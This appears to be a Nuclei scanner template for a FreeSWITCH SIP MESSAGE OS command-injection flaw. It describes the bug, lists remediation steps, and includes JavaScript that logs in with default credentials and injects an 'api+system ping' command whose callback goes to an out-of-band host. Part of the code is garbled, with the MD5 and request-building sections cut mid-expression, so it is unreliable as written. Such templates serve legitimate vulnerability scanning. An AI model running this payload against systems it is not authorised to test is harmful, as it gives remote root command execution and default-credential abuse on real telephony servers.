id: CVE-2026-116779 info: name: SignalWire FreeSWITCH < 1.11.3 - SIP MESSAGE api-proto OS Command Injection author: DhiyaneshDk severity: critical description: | SignalWire FreeSWITCH before 1.11.3 is vulnerable to OS command injection via an inbound SIP MESSAGE (CVE-2026-116779). sofia_presence_handle_sip_i_message splits the recipient user on '+' and treats the left side as a chat protocol selector; selecting the built-in "api" chat interface passes the remainder to switch_api_execute(), so a recipient of the form api+system runs as an OS command with the FreeSWITCH process privileges (typically root). The chat path requires the inbound MESSAGE to authenticate, but FreeSWITCH ships well-known default credentials (extension 1000 / password 1234 on stock vanilla) and empty-password users. This template authenticates with those defaults over SIP digest, injects api+system ping (firing an out-of-band callback for real RCE evidence), and keys on the in-band differential: a vulnerable server accepts the api-proto MESSAGE (202 Accepted) and executes it, whereas 1.11.3+ disables the api chat proto by default and returns 403. impact: | An attacker with any account on a chat-enabled SIP profile (or none, on stock vanilla with the empty-password default user) executes arbitrary OS commands as the FreeSWITCH user, usually root. Actively exploited in the wild (CISA KEV). remediation: | Upgrade to FreeSWITCH 1.11.3 or later (it adds enable-chat-api-proto, off by default). If you cannot upgrade, set enable-chat=false on profiles that do not need chat, change the default 1000/1234 credentials, remove empty-password users and set allow-empty-password=false, do not run FreeSWITCH as root, and restrict SIP (5060/5061) exposure. reference: - https://github.com/signalwire/freeswitch/security/advisories/GHSA-mg63-h38w-8p9p - https://nvd.nist.gov/vuln/detail/CVE-2026-116779 - https://blog.ostorlab.co/freeswitch-sip-message-rce-cve-2026-116779.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-116779 epss-score: 0.43693 epss-percentile: 0.99051 cwe-id: CWE-78 cpe: cpe:2.3:a:freeswitch:freeswitch:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: freeswitch product: freeswitch shodan-query: product:"FreeSWITCH" fofa-query: app="FreeSWITCH" tags: cve,cve2026,freeswitch,signalwire,rce,command-injection,sip,oast,intrusive,js,kev,vkev javascript: - args: Host: "{{Hostname}}" OAST: "{{interactsh-url}}" code: | function md5(str){ function s32(a,b){return (a+b)&0xFFFFFFFF;} function cmn(q,a,b,x,s,t){a=s32(s32(a,q),s32(x,t));return s32((a<>>(32-s)),b);} function ff(a,b,c,d,x,s,t){return cmn((b&c)|((~b)&d),a,b,x,s,t);} function gg(a,b,c,d,x,s,t){return cmn((b&d)|(c&(~d)),a,b,x,s,t);} function hh(a,b,c,d,x,s,t){return cmn(b^c^d,a,b,x,s,t);} function ii(a,b,c,d,x,s,t){return cmn(c^(b|(~d)),a,b,x,s,t);} function cyc(x,k){ var a=x[0],b=x[1],c=x[2],d=x[3]; a=ff(a,b,c,d,k[0],7,-680876936);d=ff(d,a,b,c,k[1],12,-389564586);c=ff(c,d,a,b,k[2],17,606105819);b=ff(b,c,d,a,k[3],22,-1044525330); a=ff(a,b,c,d,k[4],7,-176418897);d=ff(d,a,b,c,k[5],12,1200080426);c=ff(c,d,a,b,k[6],17,-1473231341);b=ff(b,c,d,a,k[7],22,-45705983); a=ff(a,b,c,d,k[8],7,1770035416);d=ff(d,a,b,c,k[9],12,-1958414417);c=ff(c,d,a,b,k[10],17,-42063);b=ff(b,c,d,a,k[11],22,-1990404162); a=ff(a,b,c,d,k[12],7,1804603682);d=ff(d,a,b,c,k[13],12,-40341101);c=ff(c,d,a,b,k[14],17,-1502002290);b=ff(b,c,d,a,k[15],22,1236535329); a=gg(a,b,c,d,k[1],5,-165796510);d=gg(d,a,b,c,k[6],9,-1069501632);c=gg(c,d,a,b,k[11],14,643717713);b=gg(b,c,d,a,k[0],20,-373897302); a=gg(a,b,c,d,k[5],5,-701558691);d=gg(d,a,b,c,k[10],9,38016083);c=gg(c,d,a,b,k[15],14,-660478335);b=gg(b,c,d,a,k[4],20,-405537848); a=gg(a,b,c,d,k[9],5,568446438);d=gg(d,a,b,c,k[14],9,-1019803690);c=gg(c,d,a,b,k[3],14,-187363961);b=gg(b,c,d,a,k[8],20,1163531501); a=gg(a,b,c,d,k[13],5,-1444681467);d=gg(d,a,b,c,k[2],9,-51403784);c=gg(c,d,a,b,k[7],14,1735328473);b=gg(b,c,d,a,k[12],20,-1926607734); a=hh(a,b,c,d,k[5],4,-378558);d=hh(d,a,b,c,k[8],11,-2022574463);c=hh(c,d,a,b,k[11],16,1839030562);b=hh(b,c,d,a,k[14],23,-35309556); a=hh(a,b,c,d,k[1],4,-1530992060);d=hh(d,a,b,c,k[4],11,1272893353);c=hh(c,d,a,b,k[7],16,-155497632);b=hh(b,c,d,a,k[10],23,-1094730640); a=hh(a,b,c,d,k[13],4,681279174);d=hh(d,a,b,c,k[0],11,-358537222);c=hh(c,d,a,b,k[3],16,-722521979);b=hh(b,c,d,a,k[6],23,76029189); a=hh(a,b,c,d,k[9],4,-640364487);d=hh(d,a,b,c,k[12],11,-421815835);c=hh(c,d,a,b,k[15],16,530742520);b=hh(b,c,d,a,k[2],23,-995338651); a=ii(a,b,c,d,k[0],6,-198630844);d=ii(d,a,b,c,k[7],10,1126891415);c=ii(c,d,a,b,k[14],15,-1416354905);b=ii(b,c,d,a,k[5],21,-57434055); a=ii(a,b,c,d,k[12],6,1700485571);d=ii(d,a,b,c,k[3],10,-1894986606);c=ii(c,d,a,b,k[10],15,-1051523);b=ii(b,c,d,a,k[1],21,-2054922799); a=ii(a,b,c,d,k[8],6,1873313359);d=ii(d,a,b,c,k[15],10,-30611744);c=ii(c,d,a,b,k[6],15,-1560198380);b=ii(b,c,d,a,k[13],21,1309151649); a=ii(a,b,c,d,k[4],6,-145523070);d=ii(d,a,b,c,k[11],10,-1120210379);c=ii(c,d,a,b,k[2],15,718787259);b=ii(b,c,d,a,k[9],21,-343485551); x[0]=s32(a,x[0]);x[1]=s32(b,x[1]);x[2]=s32(c,x[2]);x[3]=s32(d,x[3]); } function blk(s){var m=[],i;for(i=0;i<64;i+=4){m[i>>2]=s.charCodeAt(i)+(s.charCodeAt(i+1)<<8)+(s.charCodeAt(i+2)<<16)+(s.charCodeAt(i+3)<<24);}return m;} function m51(s){ var n=s.length,st=[1732584193,-271733879,-1732584194,271733878],i; for(i=64;i<=n;i+=64){cyc(st,blk(s.substring(i-64,i)));} s=s.substring(i-64); var t=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; for(i=0;i>2]|=s.charCodeAt(i)<<((i%4)<<3); t[i>>2]|=0x80<<((i%4)<<3); if(i>55){cyc(st,t);for(i=0;i<16;i++)t[i]=0;} t[14]=n*8;cyc(st,t);return st; } function rh(n){var s="",j;for(j=0;j<4;j++)s+=("0"+((n>>(j*8))&0xFF).toString(16)).slice(-2);return s;} var x=m51(str),o="";for(var i=0;i;tag=nuc" + cseq + "\r\n" + "To: <" + RURI + ">\r\n" + "Call-ID: nuc" + cseq + "@nuclei\r\n" + "CSeq: " + cseq + " MESSAGE\r\n"; if (auth) h += auth + "\r\n"; h += "Contact: \r\nContent-Type: text/plain\r\nContent-Length: 1\r\n\r\nx"; return h; } function grab(s, re){ var m = s.match(re); return m ? m[1] : ""; } var fs = false, vuln = false, patched = false; for (var i = 0; i < CREDS.length; i++){ var user = CREDS[i][0], pw = CREDS[i][1]; var r1 = sip(build(1, user, null)); if (!r1) { if (i === 0) break; else continue; } // target unreachable -> stop early if (i === 0 && r1.indexOf("SIP/2.0") < 0) break; // not a SIP service -> stop early if (r1.indexOf("FreeSWITCH") >= 0) fs = true; var s1 = r1.split("\r\n")[0]; if (s1.indexOf(" 403 ") >= 0) { patched = true; break; } var mm = r1.match(/(Proxy-Authenticate|WWW-Authenticate):\s*Digest\s*(.*)/i); if (!mm) { if (s1.indexOf(" 202 ") >= 0 || s1.indexOf(" 200 ") >= 0) { vuln = true; break; } continue; } var chal = mm[2]; var realm = grab(chal, /realm="?([^",\r\n]+)"?/i) || host; var nonce = grab(chal, /nonce="?([^",\r\n]+)"?/i); var qop = grab(chal, /qop="?([^",\r\n]+)"?/i); var ha1 = md5(user + ":" + realm + ":" + pw); var ha2 = md5("MESSAGE:" + RURI); var resp, av; if (qop) { var cn = "nuclei", nc = "00000001"; resp = md5([ha1, nonce, nc, cn, qop, ha2].join(":")); av = 'Digest username="' + user + '", realm="' + realm + '", nonce="' + nonce + '", uri="' + RURI + '", response="' + resp + '", algorithm=MD5, cnonce="' + cn + '", qop=' + qop + ', nc=' + nc; } else { resp = md5([ha1, nonce, ha2].join(":")); av = 'Digest username="' + user + '", realm="' + realm + '", nonce="' + nonce + '", uri="' + RURI + '", response="' + resp + '", algorithm=MD5'; } var ah = (mm[1].toLowerCase().indexOf("proxy") === 0 ? "Proxy-Authorization: " : "Authorization: ") + av; var r2 = sip(build(2, user, ah)); if (r2.indexOf("FreeSWITCH") >= 0) fs = true; var s2 = r2.split("\r\n")[0]; if (s2.indexOf(" 202 ") >= 0 || s2.indexOf(" 200 ") >= 0) { vuln = true; break; } if (s2.indexOf(" 403 ") >= 0) { patched = true; break; } } var verdict = !fs ? "SIP_NO_FREESWITCH" : vuln ? "FREESWITCH_CVE_2026_116779_VULNERABLE_API_PROTO_RCE" : patched ? "FREESWITCH_API_PROTO_DISABLED_PATCHED" : "FREESWITCH_UNCONFIRMED"; (verdict + " [" + host + ":" + port + "]"); matchers: - type: word part: response words: - "FREESWITCH_CVE_2026_116779_VULNERABLE_API_PROTO_RCE" # digest: 4a0a004730450220422e3b3129c30f9083b94b69c55219edd61ecc0dc47ba87f6b43e3018faf25ce022100b31eb6942a5e932491d2672b7a6594078b085181b7d5483f8ed2703b37ad93b0:922c64590222798bb761d5b6d8e72950